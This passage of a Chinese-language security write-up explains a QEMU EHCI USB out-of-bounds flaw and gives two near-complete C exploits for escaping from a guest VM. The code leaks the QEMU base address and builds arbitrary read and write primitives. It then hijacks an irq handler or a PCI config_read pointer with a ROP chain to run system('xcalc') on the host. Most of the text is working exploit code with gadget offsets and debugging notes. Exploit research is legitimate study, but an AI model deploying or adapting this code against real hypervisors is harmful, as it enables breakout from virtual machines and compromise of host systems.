set_length(uint16_t len,uint8_t option){ reset_enable_port(); set_qh(); setup_buf[0] = option; setup_buf[6] = len & 0xff; setup_buf[7] = (len >> 8 ) & 0xff; qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_SETUP << QTD_TOKEN_PID_SH | 8 << QTD_TOKEN_TBYTES_SH; qtd->bufptr[0] = virt2phys(setup_buf); set_EHCIState(); } void do_copy_read(){ reset_enable_port(); set_qh(); qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_IN << QTD_TOKEN_PID_SH | 0x1e00 << QTD_TOKEN_TBYTES_SH; qtd->bufptr[0] = virt2phys(data_buf); qtd->bufptr[1] = virt2phys(data_buf_oob); set_EHCIState(); } void do_copy_write(int offset, unsigned int setup_len, unsigned int setup_index){ reset_enable_port(); set_qh(); *(unsigned long *)(data_buf_oob + offset) = 0x0000000200000002; // 覆盖成原先的内容 *(unsigned int *)(data_buf_oob + 0x8 +offset) = setup_len; //setup_len *(unsigned int *)(data_buf_oob + 0xc+ offset) = setup_index; qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_OUT << QTD_TOKEN_PID_SH | 0x1e00 << QTD_TOKEN_TBYTES_SH; // flag qtd->bufptr[0] = virt2phys(data_buf); qtd->bufptr[1] = virt2phys(data_buf_oob); set_EHCIState(); } void setup_state_data(){ set_length(0x500, USB_DIR_OUT); } void arb_write(uint64_t target_addr, uint64_t payload) { setup_state_data(); set_length(0x1010, USB_DIR_OUT); unsigned long offset = target_addr - data_buf_addr; do_copy_write(0, offset+0x8, offset-0x1010); *(unsigned long *)(data_buf) = payload; do_copy_write(0, 0xffff, 0); } unsigned long arb_read(uint64_t target_addr) { setup_state_data(); set_length(0x1010, USB_DIR_OUT); do_copy_write(0, 0x1010, 0xfffffff8-0x1010); *(unsigned long *)(data_buf) = 0x2000000000000080; // set setup[0] -> USB_DIR_IN unsigned int target_offset = target_addr - data_buf_addr; do_copy_write(0x8, 0xffff, target_offset - 0x1018); do_copy_read(); // oob read return *(unsigned long *)(data_buf); } int main() { init(); iopl(3); outw(0,0xc080); outw(0,0xc0a0); outw(0,0xc0c0); sleep(3); init_state(); set_length(0x2000, USB_DIR_IN); do_copy_read(); // oob read struct USBDevice* usb_device_tmp = data_buf + 0x4; struct USBDevice usb_device; memcpy(&usb_device,usb_device_tmp,sizeof(USBDevice)); dev_addr = usb_device.ep_ctl.dev; data_buf_addr = dev_addr + 0xdc; USBPort_addr = dev_addr + 0x78; printf("USBDevice dev_addr: 0x%llx\n", dev_addr); printf("USBDevice->data_buf: 0x%llx\n", data_buf_addr); printf("USBPort_addr: 0x%llx\n", USBPort_addr); uint64_t *tmp=dmabuf+0x24f4+8; long long leak_addr = *tmp; if(leak_addr == 0){ printf("INIT DOWN,DO IT AGAIN\n"); return 0; } long long base = leak_addr - 0xc40d90; uint64_t system_plt = base + 0x290D30; printf("leak elf_base address : %llx!\n", base); printf("leak system_plt address: %llx!\n", system_plt); unsigned long USBPort_ptr = arb_read(USBPort_addr); unsigned long EHCIState_addr = USBPort_ptr - 0x540; unsigned long irq_addr = EHCIState_addr + 0xc0; unsigned long fake_irq_addr = data_buf_addr; //dev_addr + 0xdc; unsigned long irq_ptr = arb_read(irq_addr); printf("EHCIState_addr: 0x%llx\n", EHCIState_addr); printf("USBPort_ptr: 0x%llx\n", USBPort_ptr); printf("irq_addr: 0x%llx\n", irq_addr); printf("fake_irq_addr: 0x%llx\n", fake_irq_addr); printf("irq_ptr: 0x%llx\n", irq_ptr); // construct fake_irq setup_state_data(); *(unsigned long *)(data_buf + 0x28) = system_plt; // handler *(unsigned long *)(data_buf + 0x30) = dev_addr+0xdc+0x100; //opaque *(unsigned long *)(data_buf + 0x38) = 0x3; //n *(unsigned long *)(data_buf + 0x100) = 0x636c616378; // "xcalc" do_copy_write(0, 0xffff, 0xffff); // write fake_irq arb_write(irq_addr, fake_irq_addr); // write back irq_ptr arb_write(irq_addr, irq_ptr); //printf("success233!\n"); };
运行效果图:
利用思路参考https://isc.360.com/2020/detail.html?vid=108&id=17
该思路需要qemu启动时加载qxl-vga设备,配置见上面的环境搭建。
(1)通过越界读获取 USBdevice 对象的地址,这里通过读取dmabuf+0x2004可以得到USBDevice->remote_wakeup的内容(这里+4是因为结构体的内存对齐)。往下读有一个 USBEndpoint ep_ctl 结构体,ep_ctl->dev 保存着USBdevice 对象的地址,就可以泄露 USBdevice 对象的地址。计算偏移就可以获得data_buf 和USBPort 字段的地址。
(2)利用任意读泄露 data_buf后面的内存数据,遍历查找“qxl-vga”字符串找到PCIDevice->name的地址,减去偏移得到PCIDevice结构体地址。
struct PCIDevice { ………… PCIReqIDCache requester_id_cache; char name[64]; // ->保存设备的名字,"qxl-vga" PCIIORegion io_regions[PCI_NUM_REGIONS]; AddressSpace bus_master_as; MemoryRegion bus_master_container_region; MemoryRegion bus_master_enable_region; /* do not access the following fields */ PCIConfigReadFunc *config_read; PCIConfigWriteFunc *config_write; /* Legacy PCI VGA regions */ MemoryRegion *vga_regions[QEMU_PCI_VGA_NUM_REGIONS]; bool has_vga; ………… };
(3)利用任意写,可以修改config_read保存的函数指针,在虚拟机里读取pci配置寄存器(调用system("lspci"))就可以触发config_read保存的函数指针,实际上是调用pci_default_read_config函数。将函数指针修改成system@plt地址,就可以调用system函数。
(4)到第(3)步就可以控制rip,但是传参有些问题,调用函数指针在pci_host_config_read_common函数中:
uint32_t pci_host_config_read_common(PCIDevice *pci_dev, uint32_t addr, uint32_t limit, uint32_t len) { uint32_t ret; pci_adjust_config_limit(pci_get_bus(pci_dev), &limit);// <------- if (limit <= addr) { return ~0x0; } assert(len <= 4); /* non-zero functions are only exposed when function 0 is present, * allowing direct removal of unexposed functions. */ if (pci_dev->qdev.hotplugged && !pci_get_function_0(pci_dev)) { return ~0x0; } ret = pci_dev->config_read(pci_dev, addr, MIN(len, limit - addr)); trace_pci_cfg_read(pci_dev->name, PCI_SLOT(pci_dev->devfn), PCI_FUNC(pci_dev->devfn), addr, ret); return ret; }
此时将payload写入pci_dev中,但pci_adjust_config_limit(pci_get_bus(pci_dev), &limit); 这句会调用到object_dynamic_cast_assert。
pci_adjust_config_limit(pci_get_bus(pci_dev), &limit); -> 770 Object *object_dynamic_cast_assert(Object *obj, const char *typename, 771 const char *file, int line, const char *func) 772 { ► 773 trace_object_dynamic_cast_assert(obj ? obj->class->type->name : "(null)", 774 typename, file, line, func); 775
object_dynamic_cast_assert里面有个寻址操作,因为我们覆盖了class为payload,所以寻址失败,导致崩溃。
pwndbg> p/x *(struct PCIDevice *)0x55ba7a7befd0 $14 = { qdev = { parent_obj = { class = 0x636c616378, free = 0x7f29c95305c0,
到这里,传参这部分没有得到解决,想着泄露libc地址,覆盖rip为one_gadget,但本地环境没有满足条件的one_gadget,所以转而使用rop 链进行利用。
首先覆盖rip为0xdeadbeef, 观察寄存器,之前我们覆盖rdi为"xcalc"字符串地址失败是因为之前有寻址操作。
但是我们可以看到rax保存的是堆地址,所以第一步就是进行栈切换,将rsp切换到堆上。但笔者编译的qemu程序没有直接"xchg rax, rsp; ret;"这种gadget,但找到了:
xchg rax, rbp; mov cl, 0xff; mov eax, dword ptr [rbp - 0x10]; leave; ret;
可以将rax的值给rbp后,再通过leave指令(相当于mov rsp, rbp; pop rbp;),间接将rax的值赋给rsp,完成栈切换。之后的的rop链就没有什么障碍:
new rsp ===> [0x00] : pop rax; ret; [0x08] : system@plt [0x10] : pop rdi; ret; /-- [0x18] : rsp+0x30 | [0x20] : sub al, 0; call rax; | [0x28] : |-> [0x30] : "xcalc"
完成利用。
exp代码:
#include <assert.h> #include <fcntl.h> #include <inttypes.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <sys/types.h> #include <unistd.h> #include <sys/io.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <sys/types.h> #include <sys/socket.h> #include <stdbool.h> #include <netinet/in.h> struct EHCIqh * qh; struct EHCIqtd * qtd; struct ohci_td * td; char *dmabuf; char *setup_buf; unsigned char *mmio_mem; unsigned char *data_buf; unsigned char *data_buf_oob; uint32_t *entry; uint64_t dev_addr; uint64_t data_buf_addr; uint64_t USBPort_addr; #define PORTSC_PRESET (1 << 8) // Port Reset #define PORTSC_PED (1 << 2) // Port Enable/Disable #define USBCMD_RUNSTOP (1 << 0) #define USBCMD_PSE (1 << 4) #define USB_DIR_OUT 0 #define USB_DIR_IN 0x80 #define QTD_TOKEN_ACTIVE (1 << 7) #define USB_TOKEN_SETUP 2 #define USB_TOKEN_IN 1 /* device -> host */ #define USB_TOKEN_OUT 0 /* host -> device */ #define QTD_TOKEN_TBYTES_SH 16 #define QTD_TOKEN_PID_SH 8 typedef struct USBDevice USBDevice; typedef struct USBEndpoint USBEndpoint; struct USBEndpoint { uint8_t nr; uint8_t pid; uint8_t type; uint8_t ifnum; int max_packet_size; int max_streams; bool pipeline; bool halted; USBDevice *dev; USBEndpoint *fd; USBEndpoint *bk; }; struct USBDevice { int32_t remote_wakeup; int32_t setup_state; int32_t setup_len; int32_t setup_index; USBEndpoint ep_ctl; USBEndpoint ep_in[15]; USBEndpoint ep_out[15]; }; typedef struct EHCIqh { uint32_t next; /* Standard next link pointer */ /* endpoint characteristics */ uint32_t epchar; /* endpoint capabilities */ uint32_t epcap; uint32_t current_qtd; /* Standard next link pointer */ uint32_t next_qtd; /* Standard next link pointer */ uint32_t altnext_qtd; uint32_t token; /* Same as QTD token */ uint32_t bufptr[5]; /* Standard buffer pointer */ } EHCIqh; typedef struct EHCIqtd { uint32_t next; /* Standard next link pointer */ uint32_t altnext; /* Standard next link pointer */ uint32_t token; uint32_t bufptr[5]; /* Standard buffer pointer */ } EHCIqtd; uint64_t virt2phys(void* p) { uint64_t virt = (uint64_t)p; // Assert page alignment int fd = open("/proc/self/pagemap", O_RDONLY); if (fd == -1) die("open"); uint64_t offset = (virt / 0x1000) * 8; lseek(fd, offset, SEEK_SET); uint64_t phys; if (read(fd, &phys, 8 ) != 8) die("read"); // Assert page present phys = (phys & ((1ULL << 54) - 1)) * 0x1000+(virt&0xfff); return phys; } void die(const char* msg) { perror(msg); exit(-1); } void mmio_write(uint32_t addr, uint32_t value) { *((uint32_t*)(mmio_mem + addr)) = value; } uint64_t mmio_read(uint32_t addr) { return *((uint64_t*)(mmio_mem + addr)); } void init(){ int mmio_fd = open("/sys/devices/pci0000:00/0000:00:1d.7/resource0", O_RDWR | O_SYNC); if (mmio_fd == -1) die("mmio_fd open failed"); mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0); if (mmio_mem == MAP_FAILED) die("mmap mmio_mem failed"); dmabuf = mmap(0, 0x3000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1, 0); if (dmabuf == MAP_FAILED) die("mmap"); mlock(dmabuf, 0x3000); entry = dmabuf + 4; qh = dmabuf + 0x100; qtd = dmabuf + 0x200; setup_buf = dmabuf + 0x300; data_buf = dmabuf + 0x1000; data_buf_oob = dmabuf + 0x2000; } void reset_enable_port(){ mmio_write(0x64, PORTSC_PRESET); mmio_write(0x64, PORTSC_PED); } void set_EHCIState(){ //printf("set_EHCIState~\n"); //getchar(); mmio_write(0x34, virt2phys(dmabuf)); // periodiclistbase mmio_write(0x20, USBCMD_RUNSTOP | USBCMD_PSE); // usbcmd sleep(1); } void set_qh(){ qh->epchar = 0x00; qh->token = QTD_TOKEN_ACTIVE; qh->current_qtd = virt2phys(qtd); } void init_state(){ reset_enable_port(); set_qh(); setup_buf[6] = 0xff; setup_buf[7] = 0x0; qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_SETUP << QTD_TOKEN_PID_SH | 8 << QTD_TOKEN_TBYTES_SH; qtd->bufptr[0] = virt2phys(setup_buf); *entry = virt2phys(qh)+0x2; set_EHCIState(); } void set_length(uint16_t len,uint8_t option){ reset_enable_port(); set_qh(); setup_buf[0] = option; setup_buf[6] = len & 0xff; setup_buf[7] = (len >> 8 ) & 0xff; qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_SETUP << QTD_TOKEN_PID_SH | 8 << QTD_TOKEN_TBYTES_SH; qtd->bufptr[0] = virt2phys(setup_buf); set_EHCIState(); } void do_copy_read(){ reset_enable_port(); set_qh(); qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_IN << QTD_TOKEN_PID_SH | 0x1e00 << QTD_TOKEN_TBYTES_SH; qtd->bufptr[0] = virt2phys(data_buf); qtd->bufptr[1] = virt2phys(data_buf_oob); set_EHCIState(); } void do_copy_write(int offset, unsigned int setup_len, unsigned int setup_index){ reset_enable_port(); set_qh(); *(unsigned long *)(data_buf_oob + offset) = 0x0000000200000002; *(unsigned int *)(data_buf_oob + 0x8 +offset) = setup_len; //setup_len *(unsigned int *)(data_buf_oob + 0xc+ offset) = setup_index; qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_OUT << QTD_TOKEN_PID_SH | 0x1e00 << QTD_TOKEN_TBYTES_SH; // flag qtd->bufptr[0] = virt2phys(data_buf); qtd->bufptr[1] = virt2phys(data_buf_oob); set_EHCIState(); } void setup_state_data(){ set_length(0x500, USB_DIR_OUT); } void arb_write(uint64_t target_addr, uint64_t payload) { setup_state_data(); set_length(0x1010, USB_DIR_OUT); unsigned long offset = target_addr - data_buf_addr; do_copy_write(0, offset+0x8, offset-0x1010); *(unsigned long *)(data_buf) = payload; do_copy_write(0, 0xffff, 0); } unsigned long arb_read(uint64_t target_addr) { setup_state_data(); set_length(0x1010, USB_DIR_OUT); do_copy_write(0, 0x1010, 0xfffffff8-0x1010); *(unsigned long *)(data_buf) = 0x2000000000000080; // set setup[0] -> USB_DIR_IN unsigned int target_offset = target_addr - data_buf_addr; do_copy_write(0x8, 0xffff, target_offset - 0x1018); do_copy_read(); // oob read return *(unsigned long *)(data_buf); } int main() { init(); iopl(3); outw(0,0xc080); outw(0,0xc0a0); outw(0,0xc0c0); sleep(3); init_state(); set_length(0x2000, USB_DIR_IN); do_copy_read(); // oob read struct USBDevice* usb_device_tmp=dmabuf+0x2004; struct USBDevice usb_device; memcpy(&usb_device,usb_device_tmp,sizeof(USBDevice)); dev_addr = usb_device.ep_ctl.dev; data_buf_addr = dev_addr + 0xdc; printf("USBDevice dev_addr: 0x%llx\n", dev_addr); printf("USBDevice->data_buf: 0x%llx\n", data_buf_addr); uint64_t *tmp=dmabuf+0x24f4+8; long long leak_addr = *tmp; if(leak_addr == 0){ printf("INIT DOWN,DO IT AGAIN\n"); return 0; } long long base = leak_addr - 0xc40d90; uint64_t system_plt = base + 0x290D30; printf("leak elf_base address : %llx!\n", base); printf("leak system_plt address: %llx!\n", system_plt); unsigned long search_start_addr = data_buf_addr + 0x5500; arb_read(search_start_addr); char *mask = "qxl-vga\0"; unsigned long find = memmem(data_buf, 0x1f00, mask, 0x8); unsigned long offset = (find&0xffffffff) - ((unsigned long)(data_buf)&0xffffffff) + 0x5500; unsigned long config_read_addr = data_buf_addr + offset + 0x390; unsigned long pci_dev = config_read_addr - 0x450; printf("config_read_addr: 0x%llx\n", config_read_addr); printf("pci_dev: 0x%llx\n", pci_dev); unsigned long pci_dev_content = arb_read(pci_dev); //unsigned long rop_start = base + 0x2c3950; unsigned long rop_start = base + 0x774ff0; //xchg rax, rbp; mov cl, 0xff; mov eax, dword ptr [rbp - 0x10]; leave; ret; printf("pci_dev_content: 0x%llx\n", pci_dev_content); printf("rop_start: 0x%llx\n", rop_start); //unsigned long al = (((rop_start&0xff00)>>8) + (pci_dev&0xff))&0xff; unsigned long rsp = pci_dev + 0x8; // leave -> mov rsp, rbp; pop rbp; printf("new rsp: 0x%llx\n", rsp); unsigned long pop_rax = base + 0x523519; // pop rax; ret; unsigned long pop_rdi = base + 0x3b51e5; // pop rdi; ret; unsigned long call_rax = base + 0x71bd09; // sub al, 0; call rax; arb_write(rsp, pop_rax); arb_write(rsp+8, system_plt); arb_write(rsp+0x10, pop_rdi); arb_write(rsp+0x18, rsp+0x30); arb_write(rsp+0x20, call_rax); arb_write(rsp+0x30, 0x636c616378); //getchar(); arb_write(config_read_addr, rop_start); system("lspci"); };
运行效果图:
https://www.freebuf.com/vuls/247829.html